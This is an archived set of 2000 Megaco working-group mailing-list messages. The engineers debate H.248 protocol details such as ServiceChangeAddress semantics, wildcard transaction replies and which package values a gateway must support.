"Rosen, Brian" wrote:
>
> I thought you might say that, I've been thinking about it
> since I sent the message.
>
> Posing the question slightly differently, if the ServiceChangeAddress
> can do what ServiceChangeMid can do, so why have two mechanisms?
> The only difference would be the MGs actions.  If you used
> ServiceChangeAddress,
> the MG would not send a new ServiceChange command to the new address.
> If you used ServiceChangeMid, it would.  The end result would be the
same.
>
> We can:
>         Explicitly disallow ServiceChangeAddress from being used to
>                 change anything but IP Port when used with IP
>         Get rid of one of the two of them
>
> I favor the former, as that is easiest, is most consistent with
> history, and makes the most sense to me.  I'll note that what
> we call ServiceChangeAddress used to be "port".  It got
> changed when we realized "port" wouldn't make sense if it was
> not an IP transport.
>
> Brian
>
> > -----Original Message-----
> > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > Sent: Tuesday, August 29, 2000 7:37 PM
> > To: Rosen, Brian
> > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Supplying only a port on a ServiceChangeAddress
> >
> >
> >
> >
> > "Rosen, Brian" wrote:
> >
> > > I think the issue is that you can have the same MGC have multiple
> > > IP addresses.  You accept the association, but change the address.
> > > Say, a pool of servers appearing to be one MGC.
> >
> > I'm not sure I fully understand what an association is then.
> > What's the
> > difference/relationship between the association address and the
> > ServiceChangeMgcId (which may itself contain an address or
indirectly
> > refer to a number of addresses through DNS) ?
> >
> > -- Flemming
> >
> >
> > >
> > >
> > > Brian
> > >
> > > > -----Original Message-----
> > > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > > Sent: Tuesday, August 29, 2000 6:38 PM
> > > > To: Rosen, Brian
> > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > >
> > > >
> > > >
> > > >
> > > > "Rosen, Brian" wrote:
> > > >
> > > > > Suppose all you want to specify in a ServiceChangeAddress
> > > > is a port number
> > > > > that is, the IP address doesn't change, but the port does.
> > > > >
> > > > > The ABNF sez:
> > > > > serviceChangeAddress = ServiceChangeAddressToken EQUAL VALUE
> > > > >
> > > > > This is because it could be IP, ATM, FR, MPLS....
> > > > >
> > > > > The example shows just a port number.
> > > >
> > > > Actually, I thought that's all that would be allowed in the
> > > > case of IP. If
> > > > not, how can it be within the "context of the association
> > > > currently being
> > > > negotiated", and how would it then relate to ServiceChangeMgcId
?
> > > >
> > > > -- Flemming
> > > >
> > > > >
> > > > >
> > > > > Should that be legal?  Should you have to specify the IP
address
> > > > > as x.x.x.x:p?
> > > > >
> > > > > Brian
> > > >
> > > > --
> > > > Flemming Andreasen
> > > > Cisco Systems
> > > >
> > > >
> >
> > --
> > Flemming Andreasen
> > Cisco Systems
> >
> >


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep  4 19:58:14 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA08123
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 4 Sep 2000 19:58:14 -0400 (EDT)
Received: from standards (47.234.32.16:3610) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB8FC0B@standards.nortelnetworks.com>; Mon, 4 Sep 2000 19:44:53 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 15126 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 4 Sep 2000 19:44:52 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB8FC0A@standards.nortelnetworks.com>; Mon, 4 Sep 2000 19:44:52
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id TAA23572; Mon, 4 Sep 2000 19:57:48 -0400 (EDT)
Received: from whq-msgrtr-02.fore.com (whq-msgrtr-02.pit.comms.marconi.com
          [169.144.2.220]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id TAA03701; Mon, 4 Sep 2000 19:57:49 -0400 (EDT)
Received: by whq-msgrtr-02.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <R69XH1GK>; Mon, 4 Sep 2000 19:57:49 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF6787E2@whq-msgusr-02.pit.comms.marconi.com>
Date:         Mon, 4 Sep 2000 19:57:40 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Transaction Reply Context=ALL, wilcard response
X-To:         Christian Groves <Christian.Groves@ERICSSON.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

 I don't think you can do a subtract with CHOOSE.
You could use ALL, but not choose.

If you ask for a wildcard response, I think you get one response per
value found, if they are different.  Since you get statistics on
results, any identical statistics reports would only be
repeated once.  So. assuming you used ALL, I'd expect:
C=1{Subtract=*{Statistics{...}, Statistics{...}....}.
C=2{...
....

-----Original Message-----
From: Christian Groves
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Sent: 9/3/00 9:22 PM
Subject: Transaction Reply Context=ALL, wilcard response

G'Day all,

Perhaps someone can provide a clarification.

In the scenario where I do a
SUB(Context=ALL,Termination=?,),Wildcard-response.

Do I get in the transaction reply?

a)   a single TransactionReply[SUB(Context=ALL,Termination=?)]

or

b)   multiple commands replies
       TransactionReply[SUB(Context=1,Termination=?),
                        SUB(Context=2,Termination=?)
                        :
                        SUB(Context=*,Termination=?)

There's some ambiguity in the text.

Cheers, Christian


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep  4 20:52:49 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA08592
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 4 Sep 2000 20:52:48 -0400 (EDT)
Received: from standards (47.234.32.16:2234) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB8FC3C@standards.nortelnetworks.com>; Mon, 4 Sep 2000 20:39:22 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 15191 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 4 Sep 2000 20:39:22 -0400
Received: from qhars002.nortel.com (47.101.112.102:52296) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB8FC3B@standards.nortelnetworks.com>; Mon, 4 Sep 2000
          20:39:22 -0400
Received: from ertpg14e1.nortelnetworks.com (actually zrtph06m) by
          qhars002.nortel.com; Tue, 5 Sep 2000 01:52:19 +0100
Received: from zrtpd004.us.nortel.com (actually zrtpd004) by
          ertpg14e1.nortelnetworks.com; Mon, 4 Sep 2000 20:51:50 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <RPW7B6Q8>; Mon, 4 Sep 2000 20:51:48 -0400
X-Mailer: Internet Mail Service (5.5.2652.35)
Message-ID:  <28560036253BD41191A10000F8BCBD11480D00@zcard00g.ca.nortel.com>
Date:         Mon, 4 Sep 2000 20:51:45 -0400
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Addressing For Control
X-To:         Bharat Kaul <bharat@trillium.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

I have responses to some of your comments.

> -----Original Message-----
> From: Bharat Kaul [mailto:bharat@trillium.com]
> Sent: Friday, September 01, 2000 7:20 PM
> To: Taylor, Tom-PT [NORSE:B901:EXCH];
> MEGACO@standards.nortelnetworks.com
> Subject: RE: Addressing For Control
>
>
> Hi Tom,
>
>   My comments are below
>
> -----Original Message-----
> From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
> Sent: Friday, September 01, 2000 12:01 PM
> To: MEGACO@standards.nortelnetworks.com
> Subject: Addressing For Control
>
> 2. (?) The role of the MId in the message header is to provide
> application-level identification of the sender of the
> message.  In any given
> control session, the MId used by a given end will stay the
> same, even if the
> transport connection changes.  MIds for different virtual MGs
> will differ,
> even if they reside at the same IP address.
[PTT: my incorrect statement at the end of this para snipped to avoid
confusion]
>
> [[ BHARAT ]]
>
> We should have a simple statement which says MID is unique
> for a control
> session for a megaco component. This should cover MGCs, MGs
> and virtual MGs.
[PTT] That's the intent.

>
>
> MG-Originated ServiceChange
> ===========================
>
>
> 4. If the MG issues a ServiceChange on ROOT, the
> ServiceChangeAddress MAY be
> present in the request.  If so, it provides the address to
> which the MGC is
> meant to send all requests that it issues within the current control
> session.  Where TCP is in use, this means the following
> sequence will occur:
>
>    (a) MG sends ServiceChange from TCP addr:port A, containing
> ServiceChangeAddress equal to addr:port B (understood to be
> TCP because the
> original contact was via TCP).
>
>    (b) MGC sends its response on the TCP connection to addr:port A.
>
>    (c) MGC opens up a TCP connection to addr:port B and sends
> all subsequent
> requests through that connection.  The MG returns its
> responses to the MGC's
> requests through the same connection.
>
> [[[[ BHARAT  ]]]]]]
>
> I don't think (c) should be an option. First because of security
> arrangements, secondly because MGs already have a capability
> of initiating
> connections and let them keep on
> doing so. This need not be part of MGCs. Also, I can't see
> why MG would want
> to specify
> a ServiceChange Address for TCP. It might as well initiate
> the connection
> using that source transport address where it wants to
> communicate. I am
> inclined towards not having (c) as an option for TCP.(c)
> however is a valid
> option for UDP.
[PTT] (a), (b), and (c) are not alternatives -- they must all happen IF the
MG sends a ServiceChangeAddress on a TCP connection.  If one doesn't want to
support that sort of behaviour then one's MG should be designed not to
initiate it.  I suppose that as a stack provider you may find yourself in an
awkward position on this, but you'll have to work it out with your
customers.

>
>
>
>
> 6. In a ServiceChange response, the MGC may provide a
> ServiceChangeAddress,
> a ServiceChangeMGCId, or neither.
>
> [[[[ BHARAT ]]]]]
>
> I hope you mean ServiceChangeAddress OR ServiceChangeMGCID not both.
[PTT] Yes, I do.
>
>
>
> MGC-Originated ServiceChange Request
> ====================================
>
> 9. The MGC may originate a ServiceChange request containing
> ServiceChangeAddress.  This requires the MG to take the
> following actions:
>
>     (a) as above
>
>     (b) send all subsequent requests to the indicated
> ServiceChangeAddress
>
>     (c) if retransmitting outstanding requests to the MGC,
> use the same
> address that the original request went to.
>
> It seems reasonable to require that in this case the
> ServiceChangeMethod (if
> any) should be restricted to GRACEFUL or FORCED.
>
> [[[[[ BHARAT ]]]]]]
>
> I am not sure I understand what MGC is trying to tell MG
> while using these
> methods. Specifying ServiceChangeAddress after things are up
> and running
> (i.e. registration has
> completed long back) might be tricky with TCP as transport.
> It would be
> interesting to see what people have to say on this. Till now,
> I thought only
> "handoff" is the allowed method from MGC to MG.
>
[PTT] I invite further comments.

> - Bharat
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep  4 21:09:09 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA08713
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 4 Sep 2000 21:09:08 -0400 (EDT)
Received: from standards (47.234.32.16:2234) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB8FC87@standards.nortelnetworks.com>; Mon, 4 Sep 2000 20:55:41 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 15250 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 4 Sep 2000 20:55:41 -0400
Received: from albatross-ext.wise.edt.ericsson.se by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB8FC6A@standards.nortelnetworks.com>; Mon, 4 Sep 2000
          20:45:40 -0400
Received: from al.edt.ericsson.se (elb1.al.edt.ericsson.se [136.225.252.11]) by
          albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with
          ESMTP id e850wcp28565; Tue, 5 Sep 2000 02:58:38 +0200 (MEST)
Received: from elb4.al.edt.ericsson.se (elb4 [136.225.252.20]) by
          al.edt.ericsson.se (8.8.8+Sun/8.8.8/eri-dom-1.1) with ESMTP id
          CAA06458; Tue, 5 Sep 2000 02:58:37 +0200 (MET DST)
Received: from ericsson.com ([146.11.85.153]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id CAA02839; Tue, 5 Sep 2000
          02:58:34 +0200 (MET DST)
X-Mailer: Mozilla 4.72 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39B44534.D3E2F3CE@ericsson.com>
Date:         Tue, 5 Sep 2000 11:58:28 +1100
Reply-To: Christian Groves <Christian.Groves@ERICSSON.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Christian Groves <Christian.Groves@ERICSSON.COM>
Subject:      H248 Implementers Guide Draft Now Available
X-To:         SG16 <ITU-SG16@mailbag.cps.intel.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day all,

The first draft of the H.248 Implementers Guide can be found at:

ftp://standard.pictel.com/avc-site/Incoming/H248_implementors_guide_v1.zip

It is in PDF and Word format. Enjoy.

Cheers, Christian


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep  4 22:00:03 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA09988
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 4 Sep 2000 22:00:02 -0400 (EDT)
Received: from standards (47.234.32.16:2492) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB8FCDA@standards.nortelnetworks.com>; Mon, 4 Sep 2000 21:46:24 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 15381 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 4 Sep 2000 21:46:24 -0400
Received: from qhars002.nortel.com (47.101.112.102:53797) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB8FCD9@standards.nortelnetworks.com>; Mon, 4 Sep 2000
          21:46:24 -0400
Received: from smtprch2.nortel.com (actually erchg0k) by qhars002.nortel.com;
          Tue, 5 Sep 2000 02:59:21 +0100
Received: from zrchb213.us.nortel.com (actually zrchb213) by
          smtprch2.nortel.com; Mon, 4 Sep 2000 20:55:15 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <R5FC937A>; Mon, 4 Sep 2000 20:58:56 -0500
X-Mailer: Internet Mail Service (5.5.2652.35)
X-Orig: <taylor@americasm01.nt.com>
Message-ID:  <28560036253BD41191A10000F8BCBD11480D01@zcard00g.ca.nortel.com>
Date:         Mon, 4 Sep 2000 20:58:54 -0500
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Support of Values in Packages
X-To:         Christian Groves <Christian.Groves@ericsson.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

There is a simple answer to the announcement dilemma, which is that I'm not
sure announcement names need to be standardized.  I can think of only about
five standard announcements in North American practice (as codified by
Bellcore).  Everything else would be a matter of provisioning for local use.

I would say tones are the best example of something many-valued that we'll
have.

> -----Original Message-----
> From: Christian Groves [mailto:Christian.Groves@ericsson.com]
> Sent: Sunday, September 03, 2000 8:00 PM
> To: Taylor, Tom-PT [NORSE:B901:EXCH]
> Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Support of Values in Packages
>
>
> G'Day Tom,
>
> If you think Codecs are a "Red-Herring" how about
> Announcements? If you
> have an MGC-MG that is operating as an anouncement server
> which support
> 100 announcements. You may want to place certain announcement
> resources
> across different MGs. Now you could have one package called the
> Nortel-Announcement-Package or you could have the:
> Nortel-Announcement-Package-1to20-for-AT&T
> Nortel-Announcement-Package-1to30-for-MCI
> Nortel-Announcement-Package-31-100-for-MCI
> etc.etc.etc.
>
> If you have a strict rule that to be compliant to H.248 that you must
> support all values of proporties and parameters by default
> you can start
> generating alot of packages when you don't need to and the
> package space
> is going to fill with really useless packages. Someting like
> No. Packages for One Function = No. Vendors * No. of MG
> configurations *
> No. Customers
>
> Codecs are just one example of things that aren't linked, I
> believe you
> only need one case to disprove the rule.
>
> Cheers, Christian
>
> Tom-PT Taylor wrote:
> >
> > You make a valid point about "support" making fewer demands
> on the MGC than
> > on the MG in many cases.
> >
> > Just to frame the terms of discussion, I would suggest that
> we use support
> > in the strict sense that the recipient is capable of
> carrying out the
> > semantic intent, not just process the syntax.
> >
> > The key issues are predictability of MG behaviour vs.
> package fragmentation.
> > The codec example is (so far) a red herring, since I don't
> recall a codec
> > property in any of our packages.  Our solution to
> open-ended lists to this
> > point has been package extensions (cf toneids).  The hope
> is that each such
> > extension can cluster a reasonable number of items which
> one might expect to
> > be supported in the same device.  Something like codecs
> would certainly dash
> > that hope, since there is in general no linkage between the
> support of one
> > codec and the support of another.  We may just have to live
> with this, in
> > the sense that we end up registering lots of packages.  The
> numbering space
> > for package registration is pretty broad.
> >
> > -----Original Message-----
> > From: Boyle, Kevin [NCRTP:3Z70:EXCH]
> > Sent: Friday, August 25, 2000 2:01 PM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Support of Values in Packages
> >
> > Hello,
> >
> > A general question here:
> >
> > What, exactly, is meant by "support" of a signal?  Does
> this mean that a
> > gateway will absolutely know what the physical parameters
> of the signal are,
> > and will play it?  Or does it mean something a little less
> than that, for
> > instance, that the gateway will gracefully accept the
> signal in question,
> > not necessarily doing anything about it?
> >
> > Generally speaking, signals, and tones in particular, have
> very precise
> > definitions as to when and how they should be used.  So, if
> there are no
> > phones in need of a particular signal off of a gateway, in
> theory, that
> > signal would never be requested by the MGC.  However, if it
> was, by the
> > package definition, the MG would be required to support it.  Is it
> > incorrect, then, for the MG to successfully acknowledge the signal
> > application command, and then throw the signal away?  Maybe
> the signal could
> > be datafilled to be/do nothing in the MG, in which case
> ignoring the signal
> > would be a correct application of the signal to the line.
> >
> > MGCs have a little different issue with the meaning of
> "support".  Just
> > because a MGC supports the ability to generate a particular
> signal to a MG,
> > does not necessarily mean that MGC will ever do so.  In
> this case, "support"
> > becomes a pretty meaningless term.  If a signal is never going to be
> > generated, then what does support really mean?  That the
> MGC can generate
> > the signal through manual intervention?
> >
> > The same argument about signal support in MGCs also applies
> to events as
> > well.  If we will never ask for a particular event, what
> does support of
> > that event mean?  For MGs, the same is not true.  A MG must
> be able to
> > report a supported event when it is requested in the Events
> descriptor.  So
> > support of events from a MG standpoint is fairly
> straightforward.  Since
> > properties and statistics are acted upon in both
> directions, support is also
> > a straightforward concept for these as well.
> >
> > I, too, agree that there is an issue regarding values, as
> highlighted by the
> > codec example.  In the same vein, there needs to be a
> better definition of
> > what support means, especially in regards to signals and
> events.  I propose,
> > as a starting point for discussion, that "support" of
> signals in the MG
> > means that the MG will accept the signal, and acknowledge
> it without error,
> > at the very minimum.  Any problem with MGs choosing to
> ignore important
> > signals will be rectified by the MG's inability to produce
> quality telephone
> > service without those signals.  "Support" in the MGC is a
> little tougher
> > issue, since support of a signal or event is invisible
> until such time as
> > the signal or event is requested.
> >
> > Any comments/ideas/statements to correct my misconceptions? ;)
> >
> > Regards,
> >
> > Kevin Boyle
> > CS2K Line Services
> > Nortel Networks
> >
> > Flemming Andreasen wrote:
> >
> > Christian Groves wrote:
> >
> > > G'Day all,
> > >
> > > There has been some confusion at the SG16 on what is supported in
> > > Packages.
> > >
> > > The understanding that I had was that: If you support a
> package you must
> > > support all the signals, properties, events and statistics.
> >
> > Agreed.
> >
> > > However you
> > > do not have to support all the values associated with the
> properties and
> > > parameters.
> >
> > I guess the term "values" is somewhat prone to
> interpretation, but I would
> > tend to disagree if we refer to a list of well-defined
> values, as e.g. a
> > list of tone ids in E.7.
> >
> > >
> > >
> > > Tom mentioned that a thread discussed on the list
> contravened this.
> > >
> > > The reasoning that I have for not having to support all
> the values is
> > > the following:
> > > o Proliferation of packages. Eg: if a package has a list
> of tones, and I
> > > must support all the values, if I only want to support a
> subset of these
> > > values then I need a new package. Therefore you may get
> the case of a
> > > package "Package Call Progress Tones E.7" where an MG
> doesn't support
> > > Payphone Recognition Tone because it doesn't have
> payphones connected to
> > > it.
> >
> > However, in this parcticular example, the tones are both
> signals and tone
> > ids, so the effect would be the same. While I'm not
> particularly fond of the
> >
> > tonegen package, it does nevertheless illustrate an
> important point, namely
> > that the distinction between signals, and parameters to
> signals (and similar
> >
> > for other constructs) is somewhat arbitrary. The package
> really gives you
> > two things:
> > 1. A name space
> > 2. A convenient grouping of some set of "properties"
> >
> > If we don't know exaclty what those "properties" are, then
> we've lost a very
> >
> > important aspect of packages.
> >
> > > To be compliant with H.248 I can't extend the package
> because I want
> > > to remove the payphone tone. So a new Package needs to be defined
> > > containing exactly the same information but without the
> payphone tone.
> > > Now my MG won't support the standard Call Progress Tone
> package but will
> > > support the XXX_companies_Call_Progress_Tone package.
> This would lead to
> > > a proliferation of packages.
> >
> > I agree, but we have to ask ourselves what the idea about
> packages is.
> > Simplicity and flexibility are often at odds with each
> other and in this
> > case stress the importance of defining packages very carefully.
> >
> > If I no longer know exactly what is supported in a package,
> how do I go
> > about using that package ?
> >
> > >
> > >
> > > o Multiple GW support - One MG may not implement all the
> values of a
> > > property. For something like a list of codecs, a group of
> resources
> > > associated with the value may be placed in different MG
> GWs. ie. GSM
> > > codecs in MG1, PCM codecs in MG2. So whilst the MGs
> support the same
> > > package properties, they can't support a subset of values
> then you'd
> > > need to define a different package for each MG
> configuration. Again
> > > leading to a proliferation of packages.
> >
> > Back to defining what "values" mean. Obviously, if we
> define a "codec"
> > property in a package, we can't expect support for every
> possible codec in
> > the world.
> >
> > Maybe there's a distinction between supporting values for
> events, signals,
> > statistics, and properties ?
> >
> > >
> > >
> > > o The MGC knows the PackageID, that all Properties,
> Signals, Events,
> > > Statistics are supported. In H.248 we have the AuditCapability and
> > > AuditValue commands to find out what actual values of
> properties are
> > > supported.
> >
> > Not sure how you would do that with event and signal
> parameters though (come
> >
> > to think of it, I'm not sure how you, in practice, do that
> for a lot of
> > parameters; "The appropriate descriptors, *with the
> possible values for the
> > Termination* are returned from AuditCapabilities", Section
> 7.2.6). On the
> > other, we could have a new property that looked similar, so
> it's not clear
> > it wouldn't apply there either.
> >
> > >
> > >
> > > So if people agree that not all values in a package need
> to be supported
> > > I propose to add some text to the implementor's guide:
> > > Section 12.1 after 2nd Paragraph
> > > "A MG SHALL support all Property, Signals & parameters, Events &
> > > parameters and Statistics. A MG MAY support a subset of
> property and
> > > parameter values defined in the package unless specified
> in a package."
> >
> > I don't want to deflate the package concept to the extent
> this would seem to
> >
> > allow, but I agree there's an issue here. Further
> discussion is needed
> > before we make any change.
> >
> > -- Flemming
> >
> > >
> > >
> > > Cheers, Christian
> >
> > --
> > Flemming Andreasen
> > Cisco Systems
>
>
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep  4 22:15:09 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA10157
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 4 Sep 2000 22:15:09 -0400 (EDT)
Received: from standards (47.234.32.16:2492) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB8FD76@standards.nortelnetworks.com>; Mon, 4 Sep 2000 22:01:44 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 15568 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 4 Sep 2000 22:01:44 -0400
Received: from qhars002.nortel.com (47.101.112.102:54274) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB8FD75@standards.nortelnetworks.com>; Mon, 4 Sep 2000
          22:01:44 -0400
Received: from smtprch1.nortel.com (actually erchg0j) by qhars002.nortel.com;
          Tue, 5 Sep 2000 03:11:32 +0100
Received: from zrchb213.us.nortel.com (actually zrchb213) by
          smtprch1.nortel.com; Mon, 4 Sep 2000 21:13:38 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <R5FC930G>; Mon, 4 Sep 2000 21:11:12 -0500
X-Mailer: Internet Mail Service (5.5.2652.35)
Message-ID:  <28560036253BD41191A10000F8BCBD11480D03@zcard00g.ca.nortel.com>
Date:         Mon, 4 Sep 2000 21:11:13 -0500
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: H248 Implementers Guide Draft Now Available
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

I'll change it into an I-D within the next week.

> -----Original Message-----
> From: Christian Groves [mailto:Christian.Groves@ERICSSON.COM]
> Sent: Monday, September 04, 2000 8:58 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: H248 Implementers Guide Draft Now Available
>
>
> G'Day all,
>
> The first draft of the H.248 Implementers Guide can be found at:
>
> ftp://standard.pictel.com/avc-site/Incoming/H248_implementors_
> guide_v1.zip
>
> It is in PDF and Word format. Enjoy.
>
> Cheers, Christian
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep  4 23:04:01 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA11416
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 4 Sep 2000 23:04:01 -0400 (EDT)
Received: from standards (47.234.32.16:4192) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB8FDC2@standards.nortelnetworks.com>; Mon, 4 Sep 2000 22:47:55 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 15609 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 4 Sep 2000 22:47:55 -0400
Received: from penguin-ext.wise.edt.ericsson.se by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB8FD97@standards.nortelnetworks.com>; Mon, 4 Sep 2000 22:37:54
          -0400
Received: from al.edt.ericsson.se (elb1.al.edt.ericsson.se [136.225.252.11]) by
          penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP
          id e852oqw15670 for <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Tue, 5 Sep
          2000 04:50:53 +0200 (MEST)
Received: from elb4.al.edt.ericsson.se (elb4 [136.225.252.20]) by
          al.edt.ericsson.se (8.8.8+Sun/8.8.8/eri-dom-1.1) with ESMTP id
          EAA08668 for <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Tue, 5 Sep 2000
          04:50:52 +0200 (MET DST)
Received: from ericsson.com ([146.11.85.153]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id EAA03284 for
          <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Tue, 5 Sep 2000 04:50:49 +0200
          (MET DST)
X-Mailer: Mozilla 4.72 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF6787E2@whq-msgusr-02.pit.comms.marconi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39B440DC.5AE05A01@ericsson.com>
Date:         Tue, 5 Sep 2000 11:39:56 +1100
Reply-To: Christian Groves <Christian.Groves@ERICSSON.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Christian Groves <Christian.Groves@ERICSSON.COM>
Subject:      Re: Transaction Reply Context=ALL, wilcard response
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day Brian and Shalini,

I agree with CHOOSE I stuffed up and put ? instead of *.

What I find confusing is the text Shalini quoted, it says "only one
command return". This implies a). In the ASN1 and ABNF allows the MG to
return Context=ALL but this isn't
clear in the text.

Is it desirable to have C=* returned as a short cut? The encoding
supports it and the text I think is abiguous.

Alternatively do you have some clarifying text?

Cheers, Christian

"Rosen, Brian" wrote:
>
>  I don't think you can do a subtract with CHOOSE.
> You could use ALL, but not choose.
>
> If you ask for a wildcard response, I think you get one response per
